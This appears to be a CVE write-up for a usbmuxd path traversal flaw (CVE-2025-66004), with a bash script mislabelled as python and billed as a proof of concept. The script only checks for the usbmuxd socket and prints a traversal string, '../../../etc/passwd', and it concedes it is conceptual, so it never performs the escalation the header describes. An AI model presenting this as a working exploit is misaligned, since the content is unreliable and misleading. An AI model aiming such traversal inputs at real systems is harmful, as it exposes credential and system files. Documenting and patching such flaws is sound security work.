A Path Traversal vulnerability in usbmuxd allows local users to escalate to the service user.This issue affects usbmuxd: before 3ded00c9985a5108cfc7591a309f9a23d57a8cba.
The following code is for security research and authorized testing only.
python
#!/bin/bash
# CVE-2025-66004 PoC - usbmuxd Path Traversal
# Target: usbmuxd before 3ded00c9985a5108cfc7591a309f9a23d57a8cba
# This PoC demonstrates path traversal to access arbitrary files
echo "CVE-2025-66004 PoC - usbmuxd Path Traversal"
echo "Target: usbmuxd < 3ded00c9985a5108cfc7591a309f9a23d57a8cba"
# Check if usbmuxd is running
if ! pgrep -x usbmuxd > /dev/null; then
echo "[-] usbmuxd is not running"
exit 1
fi
# Path traversal attempt to read /etc/passwd
# Adjust the socket path based on your system
USBMUXD_SOCKET="/var/run/usbmuxd"
if [ -S "$USBMUXD_SOCKET" ]; then
echo "[+] Found usbmuxd socket at $USBMUXD_SOCKET"
# Attempt path traversal using ../ to escape intended directory
# This is a conceptual demonstration
echo "[*] Attempting to read /etc/passwd via path traversal"
echo "[*] Traversal pattern: ../../../etc/passwd"
# Note: Actual exploitation requires understanding usbmuxd protocol
# and specific vulnerable code paths
echo "[!] Manual verification required - check usbmuxd source code"
echo "[!] Vulnerable commit: before 3ded00c9985a5108cfc7591a309f9a23d57a8cba"
else
echo "[-] usbmuxd socket not found at default location"
echo "[*] Searching for usbmuxd socket..."
find /var/run -name '*usbmuxd*' 2>/dev/null
fi
echo ""
echo "[*] Mitigation: Upgrade usbmuxd to version containing commit"
echo "[*] 3ded00c9985a5108cfc7591a309f9a23d57a8cba or later"